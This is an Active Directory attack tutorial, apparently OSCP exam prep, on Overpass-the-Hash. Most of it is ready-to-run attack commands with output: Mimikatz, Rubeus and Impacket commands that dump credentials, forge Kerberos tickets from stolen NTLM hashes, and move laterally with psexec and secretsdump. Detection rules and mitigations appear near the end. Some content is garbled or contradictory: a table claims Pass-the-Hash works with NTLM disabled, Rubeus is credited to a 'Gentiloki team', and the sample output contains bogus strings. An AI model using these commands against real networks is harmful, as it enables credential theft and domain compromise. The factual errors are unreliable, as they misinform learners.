Domain 6Active Directory AttacksCORE

Overpass-the-Hash

Overpass-the-Hash combines Pass-the-Hash with Pass-the-Ticket to convert an NTLM hash into a Kerberos TGT, enabling lateral movement in Kerberos-only environments while bypassing NTLM restrictions.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Overpass-the-Hash#Kerberos#PtH#PtT#TGT

Overpass-the-Hash

Table of Contents

  1. Concept Overview
  2. Why Overpass-the-Hash Matters
  3. The Full Attack Chain
  4. RC4 vs AES Encryption
  5. Mimikatz Method
  6. Rubeus Method
  7. Kali / Impacket Method
  8. Tools Comparison
  9. Detection Indicators
  10. Mitigation Strategies
  11. Common Pitfalls and Troubleshooting
  12. OSCP Exam Tips

Concept Overview

Overpass-the-Hash (OpH) is a two-phase attack technique that combines Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) to achieve lateral movement using Kerberos instead of NTLM.

The Core Idea

When you obtain an NTLM (NT) hash from a compromised machine, you have two traditional options:

  • Pass-the-Hash: Replay the NTLM hash directly over SMB/NTLM authentication
  • Overpass-the-Hash: Use the NTLM hash to request a Kerberos TGT from the Domain Controller, then use that TGT for Kerberos-based lateral movement

Why Two Phases?

Phase Action Purpose
Phase 1: PtH Use NTLM hash to authenticate to DC Request a Kerberos TGT (via kerberos::asktgt or asktgt)
Phase 2: PtT Inject the obtained TGT into memory Use Kerberos for lateral movement to other targets

Key Distinction from Pass-the-Hash

Feature Pass-the-Hash Overpass-the-Hash
Protocol NTLM Kerberos
DC Contact No (direct replay) Yes (TGT request)
Works when NTLM disabled Yes No (needs DC for TGT)
Works in Kerberos-only env No Yes
Leaves Kerberos logs No Yes (Event 4768)
Requires network to DC No Yes

Why Overpass-the-Hash Matters

1. Bypasses NTLM Restrictions

Many modern environments disable or restrict NTLM authentication:

  • NTLM authentication may be blocked by Group Policy
  • SMB signing may be enforced, making PtH impossible
  • NTLMv2 challenges may prevent hash replay

Overpass-the-Hash converts your NTLM hash into a legitimate Kerberos TGT, allowing you to authenticate via Kerberos — which remains enabled.

2. Works in Kerberos-Only Environments

If NTLM is completely disabled domain-wide, Pass-the-Hash becomes useless. Overpass-the-Hash still works because:

  • The initial TGT request uses the NTLM hash as a password equivalent
  • The resulting TGT is a legitimate Kerberos ticket
  • All subsequent authentication uses Kerberos

3. Access to Kerberos-Only Services

Some services only accept Kerberos authentication:

  • LDAP (port 389/636) with Kerberos binding
  • WinRM (port 5985/5986) with Kerberos auth
  • MSSQL with Integrated Security (Kerberos)
  • HTTP services with SPNs configured for Kerberos

4. Golden Ticket Precursor

Overpass-the-Hash is often a stepping stone to extracting the KRBTGT hash, which enables Golden Ticket attacks.


The Full Attack Chain

Step-by-Step Flow

┌─────────────────────────────────────────────────────────────────────┐
│                    OVERPASS-THE-HASH ATTACK CHAIN                    │
├─────────────────────────────────────────────────────────────────────┤
│                                                                     │
│  [1] COMPROMISE HOST                                                │
│      Obtain NTLM (NT) hash via Mimikatz, LSASS dump, etc.           │
│      Example: administrator:528b7105f4184a3d0b5faf23e96bd46e        │
│                                                                     │
│  [2] REQUEST TGT FROM DC                                            │
│      Use NTLM hash to request Kerberos TGT                          │
│      Mimikatz: kerberos::asktgt /user:admin /domain:corp.local      │
│                               /rc4:528b7105f4184a3d0b5faf23e96bd46e │
│      Rubeus:  asktgt /user:admin /rc4:HASH /domain:corp.local /ptt  │
│      Kali:    getTGT.py corp.local/administrator -hashes            │
│                                  :528b7105f4184a3d0b5faf23e96bd46e  │
│                                                                     │
│  [3] INJECT TGT INTO SESSION                                        │
│      The TGT is injected into the current LSASS session (PtT)       │
│      - Mimikatz: auto-injects with /ptt flag                        │
│      - Rubeus: /ptt flag injects automatically                      │
│      - Kali: export KRB5CCNAME=/path/to/ticket.ccache               │
│                                                                     │
│  [4] LATERAL MOVEMENT VIA KERBEROS                                 │
│      Use the injected TGT to authenticate to other resources        │
│      - psexec.py -k target (Impacket, uses Kerberos)               │
│      - rpcdump.py -k target                                         │
│      - Get-GPPPassword (PowerShell, Kerberos auth)                 │
│      - Any tool that supports -k flag for Kerberos auth             │
│                                                                     │
└─────────────────────────────────────────────────────────────────────┘

Detailed Walkthrough

Step 1: Obtain the NTLM Hash

# Via Mimikatz on compromised host
sekurlsa::logonpasswords

# Output example:
# * Username : administrator
# * Domain   : CORP
# * NTLM     : 528b7105f4184a3d0b5faf23e96bd46e

Step 2: Request TGT Using the Hash

The NTLM hash serves as the encryption key. The DC will validate it the same way it validates a password during normal Kerberos pre-authentication.

Step 3: TGT Injection

Once the TGT is obtained, it must be injected into the current session’s LSA (Local Security Authority) so that subsequent Kerberos requests automatically use it.

Step 4: Lateral Movement

With the TGT injected, all Kerberos-capable tools will use it for authentication. No password or hash needs to be specified — the ticket is already in memory.


RC4 vs AES Encryption

The Encryption Type Matters

When requesting a TGT via Overpass-the-Hash, the encryption type depends on what you provide:

Input Provided Encryption Type Algorithm Key Strength
NTLM (NT) Hash RC4-HMAC RC4 128-bit (weak)
AES256-CTS-HMAC-SHA1-96 Key AES-256 AES 256-bit (strong)
AES128-CTS-HMAC-SHA1-96 Key AES-128 AES 128-bit (moderate)

Why RC4 is the Default for OpH

When you have an NTLM hash, you can only request an RC4-encrypted TGT because:

  • The NTLM hash maps directly to the RC4 session key
  • There is no direct mapping from NTLM hash to AES keys
  • AES keys are derived from the password using a different algorithm (PBKDF2-like)

RC4 Implications

Advantages:

  • Works with just the NTLM hash (most common scenario)
  • Universally supported by all Windows versions

Disadvantages:

  • RC4 is considered weak and deprecated
  • Generates detectable Kerberos pre-auth with etype 23 (RC4)
  • Modern security policies may flag or block RC4 TGT requests
  • Windows 11 / Server 2022 may restrict RC4 by default

AES Keys (Alternative)

If you obtain AES keys from memory (via Mimikatz sekurlsa::ekeys), you can request a stronger TGT:

# Mimikatz with AES256 key
kerberos::asktgt /user:admin /domain:corp.local /aes256:1234567890abcdef...

# Rubeus with AES256 key
asktgt /user:admin /aes256:1234567890abcdef... /domain:corp.local /ptt

AES Advantages:

  • Less suspicious (normal for modern environments)
  • Not flagged by RC4-specific detection rules
  • Stronger encryption

AES Disadvantages:

  • Requires extracting AES keys from memory (not just NTLM hash)
  • May not be available if the user hasn’t recently authenticated

Mimikatz Method

Method 1: asktgt + ptt (Two-Step)

# Step 1: Request TGT using NTLM hash
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e

# Output:
# * Username   : administrator
# * Domain     : corp.local
# * Logon Time : 08/31/2026 10:15:30
# * Kerberos v5 Ticket-granting Ticket
#   * Ticket Encryption Type: aes256-cts-hmac-sha1-96 (or rc4-hmac)
#   * Ticket Checksum: rc4-hmac
# * Action : TGT injected into current session

# Step 2: Verify the ticket is injected
kerberos::list

# Output should show the TGT for the target user

Method 2: asktgt with /ptt flag (One-Step)

# Request and inject in one command
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt

Method 3: Combined with PTH via sekurlsa::pth

# Use PTH to spawn a new session with the hash, then request TGT
sekurlsa::pth /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /run:mimikatz.exe

# In the new session, request TGT
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt

Method 4: asktgt with /service for specific TGS

# Request TGT and immediately get TGS for a specific service
kerberos::asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /service:cifs/fileserver.corp.local /ptt

Parameter Reference

Parameter Description Example
/user Target username /user:administrator
/domain Target domain (FQDN) /domain:corp.local
/rc4 NTLM (NT) hash /rc4:528b...
/aes128 AES-128 key /aes128:1234...
/aes256 AES-256 key /aes256:1234...
/ptt Pass-the-Ticket (inject into session) /ptt
/service Request TGS for specific SPN /service:cifs/server.corp.local
/ticket Export ticket to file instead /ticket:admin.kirbi
/opsec Skip certain actions for OPSEC /opsec

Rubeus Method

Why Rubeus is Preferred

Rubeus is the recommended tool for Overpass-the-Hash because:

  • Single command with /ptt flag (no two-step process)
  • Better OPSEC (cleaner execution, no Mimikatz signatures)
  • Pure .NET assembly (no native code, easier to obfuscate)
  • Active development and maintenance by the Gentiloki team
  • Better error messages and debugging output

Basic Overpass-the-Hash

# Single command: request TGT and inject
Rubeus.exe asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ptt

# Output:
[*] Action: Ask TGT
[*] Using rc4HMAC with supplied entropy
[*] Building an AS-REQ (w/ preauth)...
[*] Successfully crypted integrity lump with rc4HMAC
[*] Sending request to 10.0.0.1:88
[*] Successfully crypted AS-REP with rc4HMAC
[*] Response is success (KDC_ERR_0)
[*] Final base64 ticket: doIGWdXS...
[*] Action: Inject TGT
[+] kerberos::ptt OK

With AES Key

# If you have the AES256 key instead
Rubeus.exe asktgt /user:administrator /domain:corp.local /aes256:1234567890abcdef... /ptt

Export Ticket Instead of Injecting

# Export to .kirbi file for later use
Rubeus.exe asktgt /user:administrator /domain:corp.local /rc4:528b7105f4184a3d0b5faf23e96bd46e /ticket:admin.kirbi

# Later, inject the exported ticket
Rubeus.exe ptt /ticket:admin.kirbi

Verify Injected Ticket

# List all tickets in current session
Rubeus.exe triage

# Output example:
   Id 00 00000000-0000-0000-0000-000000000000
   User: administrator@CORP.LOCAL
   Service: krbtgt/CORP.LOCAL@CORP.LOCAL
   Start: 08/31/2026 10:15:30
   End:   09/01/2026 10:15:30
   Renew: 09/07/2026 10:15:30
   Encryption: rc4-hmac
   Flags: name-canonicalize, pre-auth, initial, renewable, forwardable

Parameter Reference

Parameter Description Example
/user Target username /user:admin
/domain Target domain /domain:corp.local
/rc4 NTLM hash /rc4:528b...
/aes256 AES-256 key /aes256:...
/aes128 AES-128 key /aes128:...
/ptt Inject TGT into current session /ptt
/ticket Export to .kirbi file /ticket:out.kirbi
/domain_sam SAM domain name /domain_sam:CORP
/dc Target DC /dc:dc01.corp.local
/opsec Skip DC location enum /opsec

Kali / Impacket Method

Using getTGT.py

The Impacket getTGT.py script requests a TGT and saves it as a .ccache file (MIT Kerberos credential cache format).

# Request TGT using NTLM hash
getTGT.py corp.local/administrator -hashes :528b7105f4184a3d0b5faf23e96bd46e

# Output:
# Impacket v0.12.0
# [*] Saving ccache to: /tmp/ccache_XXXXXX
# [*] Got TGT for administrator@corp.local

Using the TGT with KRB5CCNAME

# Export the ccache path
export KRB5CCNAME=/tmp/ccache_XXXXXX

# Verify the ticket
klist

# Output:
# Ticket cache: FILE:/tmp/ccache_XXXXXX
# Default principal: administrator@CORP.LOCAL
#
# Valid starting     Service principal
# 08/31/26 10:15:30  krbtgt/CORP.LOCAL@CORP.LOCAL

Using Impacket Tools with Kerberos (-k flag)

Once the TGT is in the ccache, use the -k flag with any Impacket tool:

# SMB execution via Kerberos
psexec.py -k -no-pass corp.local/administrator@10.0.0.20

# WMI execution
wmiexec.py -k -no-pass corp.local/administrator@10.0.0.20

# SAM dump
secretsdump.py -k -no-pass corp.local/administrator@10.0.0.20

# RPC services enumeration
rpcdump.py -k -no-pass corp.local/administrator@10.0.0.20

# LDAP queries
ldapsearch.py -k -no-pass corp.local/administrator@10.0.0.1

Full Workflow Example

# Step 1: Request TGT
getTGT.py corp.local/administrator -hashes :528b7105f4184a3d0b5faf23e96bd46e

# Step 2: Set environment variable
export KRB5CCNAME=/tmp/ccache_XXXXXX

# Step 3: Verify
klist

# Step 4: Lateral movement
psexec.py -k -no-pass corp.local/administrator@10.0.0.20

Using with Hashes Directly (Alternative)

Some Impacket tools support -hashes directly without getTGT:

# This internally performs Overpass-the-Hash
psexec.py -hashes :528b7105f4184a3d0b5faf23e96bd46e corp.local/administrator@10.0.0.20

Note: When using -hashes with Impacket tools, the tool automatically requests a TGT and uses it — this is Overpass-the-Hash happening behind the scenes.

Parameter Reference for getTGT.py

Parameter Description Example
-hashes LM:NT hashes (LM can be empty) -hashes :528b...
-dc-ip IP of Domain Controller -dc-ip 10.0.0.1
-dc-host FQDN of DC -dc-host dc01.corp.local
-aesKey AES-256 key -aesKey 1234...
-debug Debug output -debug

Tools Comparison

Feature Mimikatz Rubeus Impacket (getTGT.py)
Platform Windows (native) Windows (.NET) Linux / Kali
Single Command No (2 steps or /ptt) Yes (/ptt) Yes (auto)
Ticket Format .kirbi (export) .kirbi (export) .ccache (MIT)
OPSEC Moderate (YARA sigs) Good (pure .NET) Good (no Windows footprint)
RC4 Support Yes Yes Yes
AES Support Yes Yes Yes
Auto-Injection Yes (/ptt) Yes (/ptt) No (KRB5CCNAME)
Verification kerberos::list rubeus triage klist
Best For Windows pivot, full toolkit Quick Windows OpH Kali-based attacks
OSCP Recommendation Good Preferred on Windows Preferred on Kali

Detection Indicators

Event ID 4768 — Kerberos TGT Request

This is the primary detection indicator for Overpass-the-Hash.

Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4768
Task Category: Kerberos Authentication Service

Key fields to monitor:

Field What to Look For Why
Encryption Type 0x17 (RC4-HMAC) RC4 TGT = likely hash-based auth
Client Address Non-DC requesting TGT Normal, but correlate with time
Service Name krbtgt/CORP.LOCAL Always krbtgt for TGT requests
Ticket Encryption Type RC4 in AES-enforced env Anomalous if AES is policy

Detection Rules

Splunk / SIEM Query

index=windows EventCode=4768
| search Encryption_Type="0x17" OR Encryption_Type="23"
| stats count by target_user_name, client_address
| where count > 5

Elastic / Sigma Rule

title: Kerberos TGT Request with RC4 Encryption
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
level: medium
logsource:
    category: authentication
    product: windows
detection:
    selection:
        EventID: 4768
        EncryptionType: '0x17'
    condition: selection
falsepositives:
    - Legacy systems may legitimately use RC4

Additional Detection Indicators

Indicator Description
TGT from unusual source Non-workstation IP requesting TGT
RC4 in AES-enforced domain If domain policy requires AES, RC4 is suspicious
TGT request after hash dump Correlate 4768 with LSASS access (Event 4656/4663)
Multiple TGT requests Same user, multiple TGTs in short time
TGT outside business hours Anomalous timing

Mitigation Strategies

1. Enforce AES Encryption

# Group Policy: Computer Configuration → Policies → Windows Settings →
# Security Settings → Local Policies → Security Options
# Network security: Configure encryption types allowed for Kerberos
# Set to: AES-128, AES-256 (remove RC4)

Registry equivalent:

HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters
SupportedEncryptionTypes = REG_DWORD = 0x80 (AES only)

2. Monitor RC4 TGT Requests

  • Alert on Event ID 4768 with RC4 encryption type
  • Correlate with LSASS access events
  • Baseline normal RC4 usage and alert on anomalies

3. Implement LSA Protection

# Enable LSA Protection (RunAsPPL)
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 1

# Enable LSA Protection with UEFI lock
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -Value 2
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPLUsage" -Value 2

4. Disable WDigest

# Prevent plaintext password storage in LSASS
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Value 0

5. Credential Guard

Enable Virtualization-Based Security (VBS) with Credential Guard to isolate credentials in a virtualized container.


Common Pitfalls and Troubleshooting

Pitfall 1: Wrong Domain Format

# WRONG - NetBIOS name may not work
kerberos::asktgt /user:admin /domain:CORP /rc4:HASH

# CORRECT - Use FQDN
kerberos::asktgt /user:admin /domain:corp.local /rc4:HASH

Pitfall 2: TGT Not Injected

# Check if TGT is in memory
kerberos::list

# If empty, re-inject
kerberos::ptt /ticket:exported.kirbi

# For Rubeus
Rubeus.exe triage

Pitfall 3: Time Synchronization

Kerberos requires time sync within 5 minutes (default). If the compromised host has wrong time:

# Check time sync
w32tm /query /status

# Force sync with DC
w32tm /resync

Pitfall 4: Using Wrong Hash

# Make sure you're using the NT (NTLM) hash, not the LM hash
# Format: LM:NT — if LM is empty, use :NT

# Mimikatz output:
# * NTLM     : 528b7105f4184a3d0b5faf23e96bd46e  ← USE THIS
# * LM       : aad3b435b51404eeaad3b435b51404ee  ← THIS IS EMPTY/DEFAULT

# In Impacket:
-hashess :528b7105f4184a3d0b5faf23e96bd46e  # LM:NT format, LM empty

Pitfall 5: Elevated Privileges Required

TGT injection requires elevated privileges on the local machine:

# Run Mimikatz/Rubeus as Administrator
# Check current token
whoami /priv

# If not admin, use sekurlsa::pth with /run to spawn elevated context
sekurlsa::pth /user:admin /domain:corp.local /rc4:HASH /run:cmd.exe

Pitfall 6: KRB5CCNAME Not Set (Kali)

# Common mistake: forgetting to export KRB5CCNAME
# Check if set
echo $KRB5CCNAME

# If empty, set it
export KRB5CCNAME=/tmp/ccache_XXXXXX

# Verify
klist

OSCP Exam Tips

1. Know When to Use Overpass-the-Hash

Scenario Use Overpass-the-Hash
NTLM disabled or restricted YES
You have NTLM hash, need Kerberos access YES
Target only accepts Kerberos auth YES
You just need SMB access and NTLM works NO (use PtH directly)
You have plaintext password NO (use password directly)

2. Rubeus is Your Best Friend on Windows

# One-liner that works in most OSCP scenarios
Rubeus.exe asktgt /user:USERNAME /domain:DOMAIN.local /rc4:NTLMHASH /ptt

# Then verify
Rubeus.exe triage

3. Kali Workflow is Simpler

# On Kali, Impacket handles OpH automatically with -hashes
psexec.py -hashes :NTLMHASH domain/user@TARGET_IP

# No need for separate getTGT step unless you want to reuse the ticket

4. Common OSCP Lab Scenarios

  • Windows box → Windows box: Use Rubeus for OpH, then psexec.py or CrackMapExec
  • Kali → Windows box: Use Impacket -hashes flag directly
  • When PtH fails: Switch to Overpass-the-Hash (NTLM may be restricted)
  • Before Golden Ticket: Use OpH to access DC and extract KRBTGT

5. Quick Reference Card

┌──────────────────────────────────────────────────────────┐
│           OVERPASS-THE-HASH QUICK REFERENCE               │
├──────────────────────────────────────────────────────────┤
│                                                          │
│  WINDOWS (Rubeus):                                       │
│  Rubeus.exe asktgt /user:USER /domain:DOM.local          │
│    /rc4:HASH /ptt                                         │
│                                                          │
│  WINDOWS (Mimikatz):                                      │
│  kerberos::asktgt /user:USER /domain:DOM.local           │
│    /rc4:HASH /ptt                                         │
│                                                          │
│  KALI (Impacket):                                        │
│  getTGT.py dom.local/USER -hashes :HASH                  │
│  export KRB5CCNAME=/tmp/ccache_XXXX                      │
│  psexec.py -k -no-pass dom.local/USER@TARGET             │
│                                                          │
│  VERIFY:                                                  │
│  Windows: Rubeus.exe triage  OR  kerberos::list          │
│  Kali:    klist                                           │
│                                                          │
└──────────────────────────────────────────────────────────┘

6. Remember the Hash Format

Impacket:  -hashes LM:NT      →  -hashes :528b...  (LM empty)
Mimikatz:  /rc4:NT             →  /rc4:528b...
Rubeus:    /rc4:NT             →  /rc4:528b...

7. Detection Awareness

In the OSCP exam, you won’t be detected — but understanding Event ID 4768 and RC4 encryption types is valuable for the report and for real-world engagements.


Summary

Overpass-the-Hash is a critical technique that bridges the gap between NTLM hash theft and Kerberos-based lateral movement. By converting an NTLM hash into a legitimate Kerberos TGT, you can:

  1. Bypass NTLM restrictions — work in environments where NTLM is disabled
  2. Access Kerberos-only services — LDAP, WinRM, MSSQL with Kerberos auth
  3. Maintain operational flexibility — use the TGT for multiple lateral movement vectors

Key takeaways:

  • Rubeus /ptt is the fastest Windows method
  • Impacket -hashes handles OpH automatically on Kali
  • RC4 encryption is the most detectable aspect — AES is stealthier
  • Event ID 4768 with RC4 encryption is the primary detection signal
  • Always verify ticket injection before attempting lateral movement